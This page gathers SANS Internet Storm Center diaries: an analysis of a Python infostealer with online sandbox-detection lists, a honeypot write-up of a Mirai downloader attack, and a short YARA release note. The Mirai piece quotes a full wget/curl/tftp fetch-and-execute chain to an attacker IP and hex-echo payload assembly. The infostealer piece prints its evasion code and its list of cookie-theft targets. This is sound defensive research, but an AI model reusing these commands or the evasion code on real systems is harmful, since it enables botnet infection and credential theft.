The Internet Archive is a well-known and much-admired institution, devoted to creating a “digital library of Internet sites and other cultural artifacts in digital form”[1]. On its “WayBackMachine” website, which is hosted on https://archive.org/, one can view archived historical web pages from as far back as 1996. The Internet Archive basically functions as a memory for the web, and currently holds over 800 billion web pages as well as millions of books, audio and video recordings and other content… Unfortunately, since it allows for uploading of files by users, it is also used by threat actors to host malicious content from time to time[2,3].

Python InfoStealer With Dynamic Sandbox Detection, (Tue, Feb 20th)

This post was originally published on this site

Infostealers written in Python are not new. They also onboard a lot of sandbox detection mechanisms to prevent being executed (and probably detected) by automatic analysis. Last week, I found one that uses the same approach but in a different way. Usually, the scripts have a list of "bad stuff" to check like MAC addresses, usernames, processes, etc. These are common ways to detect simple sandboxes that are not well-hardened. This time, the "IOD" (Indicators Of Detection) list is stored online on a Pastebin-like site, allowing the indicators to be updated for all scripts already deployed. It's also a way to disclose less interesting information in the script.

The file, called main.py, has a VT score of 22/61 (SHA256: e0f6dcf43e19d3ff5d2c19abced7ddc2e703e4083fbdebce5a7d44a4395d7d06)[1]

The script will fetch indicators from many files hosted on rentry.co[2]:

remnux@remnux:/MalwareZoo/20240217$ grep hxxps://rentry[.]co main.py 
     processl = requests.get("hxxps://rentry[.]co/x6g3is75/raw").text
     mac_list = requests.get("hxxps://rentry[.]co/ty8exwnb/raw").text
     vm_name = requests.get("hxxps://rentry[.]co/3wr3rpme/raw").text
     vmusername = requests.get("hxxps://rentry[.]co/bnbaac2d/raw").text
     hwid_vm = requests.get("hxxps://rentry[.]co/fnimmyya/raw").text
     gpulist = requests.get("hxxps://rentry[.]co/povewdm6/raw").text
     ip_list = requests.get("hxxps://rentry[.]co/hikbicky/raw").text
     guid_pc = requests.get("hxxps://rentry[.]co/882rg6dc/raw").text
     bios_guid = requests.get("hxxps://rentry[.]co/hxtfvkvq/raw").text
     baseboard_guid = requests.get("hxxps://rentry[.]co/rkf2g4oo/raw").text
     serial_disk = requests.get("hxxps://rentry[.]co/rct2f8fc/raw").text

All files were published on January 27 2024 around 23:19 UTC. The website gives also the number of views. Currently, there are only two (certainly my visits) so the script hasn't been released in the wild yet. I'll keep an eye on these counters in the coming days.

Here is an example of usage:

def checkgpu(self):
    c = wmi.WMI()
    for gpu in c.Win32_DisplayConfiguration():
        GPUm = gpu.Description.strip()
    gpulist = requests.get("https://rentry.co/povewdm6/raw").text
    if GPUm in gpulist:
        sys.exit()

The remaining part of the stealer is very classic. I just extracted the list of targeted websites (cookies are collected and exfiltrated):

keyword = [
    'mail', 
    '[coinbase](https://coinbase.com)', 
    '[sellix](https://sellix.io)',
    '[gmail](https://gmail.com)',
    '[steam](https://steam.com)',
    '[discord](https://discord.com)',
    '[riotgames](https://riotgames.com)',
    '[youtube](https://youtube.com)',
    '[instagram](https://instagram.com)',
    '[tiktok](https://tiktok.com)',
    '[twitter](https://twitter.com)',
    '[facebook](https://facebook.com)',
    'card',
    '[epicgames](https://epicgames.com)',
    '[spotify](https://spotify.com)',
    '[yahoo](https://yahoo.com)',
    '[roblox](https://roblox.com)',
    '[twitch](https://twitch.com)',
    '[minecraft](https://minecraft.net)',
    'bank',
    '[paypal](https://paypal.com)',
    '[origin](https://origin.com)',
    '[amazon](https://amazon.com)',
    '[ebay](https://ebay.com)',
    '[aliexpress](https://aliexpress.com)',
    '[playstation](https://playstation.com)',
    '[hbo](https://hbo.com)',
    '[xbox](https://xbox.com)',
    'buy',
    'sell',
    '[binance](https://binance.com)',
    '[hotmail](https://hotmail.com)',
    '[outlook](https://outlook.com)',
    '[crunchyroll](https://crunchyroll.com)',
    '[telegram](https://telegram.com)',
    '[pornhub](https://pornhub.com)',
    '[disney](https://disney.com)',
    '[expressvpn](https://expressvpn.com)',
    'crypto',
    '[uber](https://uber.com)', 
    '[netflix](https://netflix.com)'
]

You can see that classic sites are targeted but generic keywords are also present like "crypto", "bank" or "card". Cookies belonging to URLs containing these keywords will also be exfiltrated.

[1] https://www.virustotal.com/gui/file/e0f6dcf43e19d3ff5d2c19abced7ddc2e703e4083fbdebce5a7d44a4395d7d06/details
[2] https://rentry.co

Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Mirai-Mirai On The Wall… [Guest Diary], (Sun, Feb 18th)

This post was originally published on this site

[This is a Guest Diary by Rafael Larios, an ISC intern as part of the SANS.edu BACS program]

About This Blog Post

This article is about one of the ways attackers on the open Internet are attempting to use the Mirai Botnet [1][2] malware to exploit vulnerabilities on exposed IoT devices. My name is Rafael Larios, and I am a student at the SANS Technology Institute’s Bachelor’s in Applied Cyber Security program. One of the requirements for completion of this degree, is to participate in an internship with the Internet Storm Center as an apprentice handler. Throughout this article, I will provide some insight on an attack method I found to be interesting.

It’s All About Mirai…

There are many sources discussing Mirai and a vulnerability found in IoT devices that allows attackers to join a host to their botnet. This malware still has relevance and continues to be used in attempts to compromise undefended systems. In 2023 at least three CVEs involving Mirai have been reported: CVE-2023-1389 [3], CVE-2023-26801 [4], and CVE-2023-23295 [5]. The malware continues to evolve since its initial creation in 2016. More on the humble origins of this malware can be found in the citations at the end of this article.

What Happened?

This article does not involve malware reverse engineering, but an analysis of how an attacker executed their plans on our honeypot. I observed such an attack using Cowrie that took place on 20 August 2023 that stood out from the list of attacks on the TTY logs. Wikipedia describes Cowrie as “…a medium interaction SSH and Telnet honeypot designed to log brute force attacks and shell interaction performed by an attacker. Cowrie also functions as an SSH and telnet proxy to observe attacker behaviour to another system”. More information can be found on Github:

https://github.com/cowrie/cowrie

The size of the recorded attack was significantly larger at 177kb compared to average logged attacks that were half the size or less. After analysis, the observed attack involved a trojan downloader for a botnet.

Playing back the TTY log entry with the Python playlog utility from within Cowrie, I found that the attacker used 51 SSH commands before the connection was terminated. This explains the size of the log.

The attack seemed automated, and involved various system checks, before downloading 312bytes to the /tmp folder with the following command:

wget http://46.29.166[.]61/sh || curl -O http://46.29.166[.]61/sh || tftp 46.29.166[.]61 -c get sh || tftp -g -r sh 46.29.166[.]61; chmod 777 sh;./sh ssh; rm -rf sh

The chain of commands attempts to use built-in Linux tools to download a file called ‘sh’ from an IP address from Moscow, Russian Federation. It wants to either use wget, curl, or tftp to download ‘sh’. It later tries to execute ‘sh’ and the SSH command, only to later remove the downloaded binary ‘sh’.

An error occurred and bash output stated that the command was not found. The attacker then tried to delete any existing files of what it was about to add to the /tmp folder. The following command was used to accomplish this:

rm -rf x86; rm -rf sshdmiori

Afterwards the attacker obtained information about the honeypot’s CPU with the following command:

cat /proc/cpuinfo || while read i; do echo $i; done < /proc/cpuinfo

We now come to the next stage of the attack.

Hexadecimal to Binary Executable
Within the 51 executed commands, 41 of them were hexadecimal numbers being echoed to a file named ‘x86’. Below is one of the 41 commands:

echo -ne "x00x08x00x00x00x00x00x00x00x00x00x10x00x00x00x00x00x51xe5x74x64x06x00x00x00x00x00x00x00x00x00x00" >> x86

After concatenating all of the hexadecimal numbers into a binary file, I was able to acquire the SHA256 hash using CyberChef, a tool created and maintained by GHCQ, and can be accessed on Github as well: https://github.com/gchq/CyberChef
SHA256: b1c22ba1b958ba596afb9b1a5cd49abf4eba8d24e85b86b72eed32acc1745852
Each one of the echo commands were copied and pasted into CyberChef, and a ‘recipe’ was used to decode the string from hexadecimal to binary, and then saved as an executable.

Why All of the Hexadecimal Numbers and Commands?

It is clear that the attacker wanted to evade being detected by assembling the malware binary executable from the victim device, rather than risk triggering anti-malware tools by downloading a malicious executable. When consulting the Mitre ATT&CK Framework, there are two key tactics used in this attack that are worth considering:

  • Tactic: Execution (TA0002)
    • Technique: Command and Scripting Interpreter: Unix Shell (T1059.004)
  • Tactic: Defense Evasion (TA0005)
    • Technique: Obfuscated Files or Information: Command Obfuscation (T1027.12)
       

What is It?

The assembled binary’s hash comes up on various databases as malicious, and categorized as a ‘Trojan.Mirai / miraidownloader’ [6], with several entries from community members attributing it to Mirai malware. Not much is known about this Linux elf executable. Many databases list it as a low threat score of 3/10. However, just because the score is low does not mean this binary is safe. More information about the malware sample can be found on Recorded Future’s Triage webpage [7]


How Can Mitigate Against This Kind of Attack?

Our honeypot emulates a poorly defended device on the open Internet. This particular attack scans for open SSH ports attached to devices with weak administrative credentials. Since Mirai based malware targets IoT devices, one of the simplest forms of defense is to change the default password of the IoT device to an unused complex long password (16 characters would be fine). Routers and Apache servers that are targets, should be patched according to the guidance on the CVEs. By not exposing IoT devices unnecessarily to the Internet, we can avoid compromise as well.

Samples of the malware can be downloaded on Virus Total and the Recorded Future[7] websites within the citations below.

[1] What is a Botnet?: https://www.akamai.com/glossary/what-is-a-botnet
[2] What is Mirai?: https://www.cloudflare.com/learning/ddos/glossary/mirai-botnet/
[3] TP-Link WAN-Side Vulnerability CVE-2023-1389 Added to the Mirai Botnet Arsenal: https://www.zerodayinitiative.com/blog/2023/4/21/tp-link-wan-side-vulnerability-cve-2023-1389-added-to-the-mirai-botnet-arsenal
[4] Akamai SIRT Security Advisory: CVE-2023-26801 Exploited to spread Mirai Botnet Malware: https://www.akamai.com/blog/security-research/cve-2023-26801-exploited-spreading-mirai-botnet
[5] Mirai Variant IZ1H9 Exploits: 13 Shocking New Attacks: https://impulsec.com/cybersecurity-news/mirai-variant-iz1h9-exploits/
[6] Virus Total: https://www.virustotal.com/gui/file/b1c22ba1b958ba596afb9b1a5cd49abf4eba8d24e85b86b72eed32acc1745852
[7] Recorded Future Triage: https://tria.ge/230526-dk1rrsde63
[8] https://www.sans.edu/cyber-security-programs/bachelors-degree/

———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

YARA 4.5.0 Release, (Sun, Feb 18th)

This post was originally published on this site

YARA 4.4.0 was released, including the announced LNK module.

But the same day, YARA 4.5.0 was released without LNK support. It looks like the LNK module will only be released with the new YARA rewrite in Rust.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.